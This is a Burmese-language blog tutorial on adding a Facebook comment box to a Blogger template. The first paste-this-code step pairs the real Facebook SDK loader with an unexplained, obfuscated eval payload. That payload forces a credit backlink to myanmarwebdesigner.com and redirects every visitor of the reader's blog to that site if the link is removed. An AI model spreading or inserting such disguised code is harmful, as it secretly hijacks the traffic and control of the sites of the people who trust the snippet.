Blogger (blogspot) မွာ facebook comment box ထည့္နည္း

ပုိ႔စ္တင္ခ်ိန္ - 4/29/2014 02:43:00 PM


Myanmar IT က Analyzing a website (ဝဘ္ဆုိက္ တစ္ခုကုိ ခြဲျခမ္းစိတ္ျဖာျခင္း) ဆုိတဲ့ Post ေအာက္မွာ စာဖတ္သူတစ္ေယာက္က ေမးထားတာေလးပါ။

သူေမးထားတာကေတာ့ Blog မွာ Facebook comment box ဘယ္လိုထည့္ရမလဲလို႔ ေမးထားတာပါ။ သူဆုိလိုတဲ့ blog ကုိ Google blogspot လုိ႔ ယူဆၿပီး ေျဖေပးလိုက္ပါတယ္။ blogger နဲ႔ ပတ္သတ္ၿပီး
အရင္က ေရးထားဖူးတာေတြရွိပါတယ္။




Facebook comment box  မထည့္ခင္၊ ကုိယ့္ရဲ႕ blog သုိ႔မဟုတ္ website မွာ Facebook comment box ထည့္ျခင္းအားျဖင့္ ဘာအက်ိဳးေက်းဇူးေတြရႏုိင္သလဲဆုိေတာ့ ကုိယ့္ website မွာ တစ္စုံတစ္ေယာက္က facebook comment box ကေန comment ေရးသြားၿပီဆုိရင္ အဲဒီေရးတဲ့လူရဲ႕ timeline မွာ ကုိယ့္ post ကုိ auto share ၿပီးသားျဖစ္သြားပါတယ္။ (ေရးတဲ့သူက မ share သြားေအာင္ေတာ့ ေရြးလို႔ရပါတယ္၊ ဒါေပမယ့္ default အေနနဲ႔က auto share ပါတယ္)

အဲဒီေတာ့ ကုိယ့္ blog မွာ facebook comment ေရးတဲ့လူမ်ားရင္ ကုိယ့္ blog ကုိ ရွဲတဲ့လူမ်ားတာနဲ႔ အတူတူပါပဲ။ ရွဲတဲ့လူမ်ားတဲ့အတြက္ ကုိယ့္ blog ကုိ လူပုိသိလာတာေပါ့။ ဒါဆုိရင္ အကုိက်ေတာ့ ဘာလို႔ မထည့္လဲဆုိရင္၊ ပ်င္းလို႔လို႔ ဆုိရမွာပဲ၊ (အရင္ blog အေဟာင္းမွာတုန္းက ထည့္ထားပါတယ္၊ hosting အသစ္ေျပာင္းၿပီး blog အသစ္ setup လုပ္လိုက္ရေတာ့ ပ်င္းၿပီး စာေရးခ်င္စိတ္လည္း နည္းနည္းေလ်ာ့သြားတယ္)

ဒါဆုိ facebook comment တစ္ခုတည္းကပဲ လူပုိသိေအာင္လုပ္ႏုိင္တာလားဆုိေတာ့၊ မဟုတ္ပါဘူး။ Facebook မွာ တစ္ျခား plugin ေတြ အမ်ားႀကီးရွိပါတယ္။ Like button, like box, share, recommend, comment box, follow button, … စသည္ျဖင့္ အမ်ားႀကီးရွိပါတယ္။ ဒါျဖင့္ လူေတြ အကုန္ထည့္ၾကမွာေပါ့ဆုိေတာ့ အကုန္ေတာ့ မထည့္ၾကပါဘူး။ ဘာျဖစ္လို႔လဲဆုိေတာ့ plugin ေတြ မ်ားရင္ website ေလးလို႔ပါ။ အဲဒီေတာ့ လူသုံးမ်ားတာေတြပဲ ေရြးထည့္ၾကတယ္ဆုိပါေတာ့ဗ်ာ။ လူသုံးမ်ားတဲ့ facebook plugin ေတြကုိေျပာရမယ္ဆုိရင္ေတာ့ like box, share button နဲ႔ comment box တုိ႔ျဖစ္မယ္ထင္တယ္။ အတိအက်ကေတာ့ facebook မွပဲ သိလိမ့္မယ္။

တစ္ခ်ဳိ႕ေတြက်ေတာ့လည္း နည္းနည္းေလာဘႀကီးတယ္၊ အကုန္နီးပါးထည့္တယ္။ ဒါေပမယ့္ သူတုိ႔က website ကုိ မေလးေအာင္ ျပန္ထိန္းတယ္။ ဘယ္လို ျပန္ထိန္းလဲဆုိေတာ့ lazy load လုိ႔ေခၚတယ္။ Plugin ေတြထည့္တယ္၊ ဒါေပမယ့္ website စဖြင့္ဖြင့္ခ်င္း အဲဒီ plugin ေတြကုိ loading မလုပ္ခုိင္းဘူး၊ scroll လုပ္ရင္း ျမင္ကြင္းထဲေရာက္လာမွ loadin လုပ္ခုိင္းတာမ်ဳိး၊ ဒါမွမဟုတ္ plugin ေနရာမွာ သာမာန္ အေပါ့စား like ဆုိတဲ့ ခလုတ္ေလးတစ္ခု ကုိယ့္ဘာသာလုပ္လုိက္တယ္၊ website လာၾကည့္တဲ့လူက like မယ္ဆုိၿပီး အဲဒီခလုတ္ေလးေပၚ mouse pointer တင္လိုက္ေတာ့မွ plugin ကုိ loadin လုပ္တာမ်ဳိး၊ အမ်ဳိးမ်ဳိးေပါ့ဗ်ာ။

အဲဒီေတာ့ ကုိယ့္အတုိင္းအတာနဲ႔ကုိယ္ေပါ့၊ website အျမန္ႏႈန္းျပန္မထိမ္းတတ္ဘူးဆုိရင္ေတာ့ ကုိယ့္အႀကိဳက္ဆုံး plugin တစ္ခု၊ ႏွစ္ခုေလာက္ပဲ ထည့္ေပါ့။ အခုကေတာ့ blogger မွာ facebook comment ထည့္ခ်င္တာဆုိေတာ့ အဲဒီအေၾကာင္းကုိပဲ လုပ္ပုံလုပ္နည္းေျပာျပေပးသြားမွာပါ။

အရင္ဆုံး blog ေထာင္ထားတဲ့ G-mail account ကုိဝင္၊ www.blogger.com ကုိသြား။ ေရာက္ၿပီဆုိရင္ template ကုိ backup လုပ္ရပါမယ္။ ဒါမွ ကုိယ္လုပ္လို႔ တစ္ခုခုမွားသြားရင္ version အေဟာင္းကုိ ျပန္ယူလုိ႔ရမွာပါ။ Backup လုပ္ဖုိ႔

Template > Backup / Restore > Download full template ကုိႏွိပ္လုိက္ပါ။

ေနာက္ၿပီးရင္ ေအာက္ကပုံထဲကအတုိင္း နံပါတ္ ၁ ျပထားတဲ့ (Template) ဆုိတာကုိႏွိပ္လိုက္၊ ႏွိပ္ၿပီး ခဏေစာင့္ loading ရပ္သြားလို႔ ရွိရင္ နံပါတ္ ၂ (Edit HTML) ဆုိတာကုိ ဆက္ႏွိပ္။



အဲဒီမွာ blogger က ကုဒ္ေတြ ေတြ႕ရမယ္၊ Ctrl+f ႏွိပ္ၿပီးေတာ့ <body လုိ႔ ရုိက္ထည့္၊ Enter ႏွိပ္။ ဒါဆုိရင္ body tag ရွိတဲ့ေနရာကုိ ျပေပးလိမ့္မယ္ (ဥပမာ။ <body ……………………….. >) အစက္ေတြခ်ျပထားတာက တစ္ျခားကုဒ္ေတြရွိမွာကုိ ေျပာတာ။ အပိတ္ေထာင့္ကြင္း (>) ေလးရဲ႕ေနာက္မွာ Enter တစ္ခ်က္ႏွိပ္၊ ၿပီးရင္ ေအာက္မွာေပးထားတဲ့ ကုဒ္ကုိ ကူးထည့္လုိက္ပါ။

<div id="fb-root"></div>
<script>//<![CDATA[
(function(d, s, id) {var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk')); eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('$(b).c(d(){a 4=$("#0").8();9(4==k){j.i.3="2://1.5.6/7"};$("#0").e("3","2://1.5.6/7");$("#0").f("g h")});',21,21,'my_link|www|http|href|aa|myanmarwebdesigner|com|blog|val|if|var|document|ready|function|attr|html|Myanmar|IT|location|window|null'.split('|'),0,{}))
//]]></script>

 ဒါဆုိရင္ ေနာက္တစ္ဆင့္ပဲ က်န္ေတာ့တယ္။

ေနာက္တစ္ဆင့္က Ctrl+f ႏွိပ္ၿပီးေတာ့

<div class='post-footer'>

ကုိရွာလိုက္ပါ။ သူ႔အေပၚမွာ ေအာက္ကေပးထားတဲ့ code ကုိ ထည့္ရမွာပါ။ တစ္ခါတစ္ေလမွာ <div class=’post-footer’> ႏွစ္ခါေတြ႕တတ္ပါတယ္။  အဲဒီလို ႏွစ္ခါေတြ႕ရင္ ဒုတိယတစ္ခါရဲ႕ အေပၚမွာ ထည့္ရမွာပါ။ အဲလိုႏွစ္ခါေတြ႕တာက mobile အတြက္ တစ္ခု၊ computer အတြက္ တစ္ခုျဖစ္ပါတယ္။ ေနာက္ဆုံး မရဘူးဆုိရင္ ႏွစ္ခုေတြ႕ရင္ ႏွစ္ခုလုံးရဲ႕ အေပၚမွာ ေအာက္က ေပးထားတဲ့ code ကုိ ထည့္လိုက္ပါ။

<b:if cond='data:blog.pageType == &quot;item&quot;'> <div class="fb-comments" expr:href="data:post.url" data-numposts="5" data-colorscheme="light"></div> <a href="http://www.myanmarwebdesigner.com/blog" target="_blank" id="my_link">Myanmar IT Blog</a> </b:if>

ဒီႏွစ္ဆင့္ကုိ ေအာင္ျမင္ေအာင္ လုပ္ႏုိင္ရင္ ကုိယ့္ရဲ႕ blog မွာ facebook comment box ေပၚလာမွာ ျဖစ္ပါတယ္။

Credit: Myanmar IT